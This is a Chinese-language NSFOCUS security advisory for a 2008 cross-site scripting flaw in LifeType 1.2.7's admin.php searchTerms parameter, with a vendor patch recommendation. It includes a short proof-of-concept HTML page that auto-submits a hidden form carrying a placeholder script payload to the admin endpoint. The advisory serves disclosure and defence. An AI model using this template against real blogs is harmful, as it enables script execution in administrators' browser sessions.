绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

LifeType searchTerms参数跨站脚本漏洞

发布日期：2008-05-02
更新日期：2008-05-06

受影响系统：

LifeType LifeType 1.2.7

不受影响系统：

LifeType LifeType 1.2.8

描述：

BUGTRAQ  ID: 29017

LifeType是一款开放源码的博客平台。

LifeType的admin.php文件中没有正确过滤searchTerms参数输入便返回给了管理员，如果将op设置为editArticleCategories的话，允许远程攻击者通过跨站脚本攻击导致在管理员浏览器会话环境中执行任意HTML和脚本代码。

<*来源：IRCRASH

  链接：http://secunia.com/advisories/30075/
        http://marc.info/?l=bugtraq&m=120974373418533&w=2
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://Example/lifetype/admin.php?op=editArticleCategories"

method="POST" name="form">

<input type="hidden" name="searchTerms" value=""  [XSS CODE]">

</form>
</body>
</html>

建议：

厂商补丁：

LifeType
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://prdownloads.sourceforge.net/lifetype/lifetype-1.2.8.tar.gz

浏览次数：5209
严重程度：0（网友投票）

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客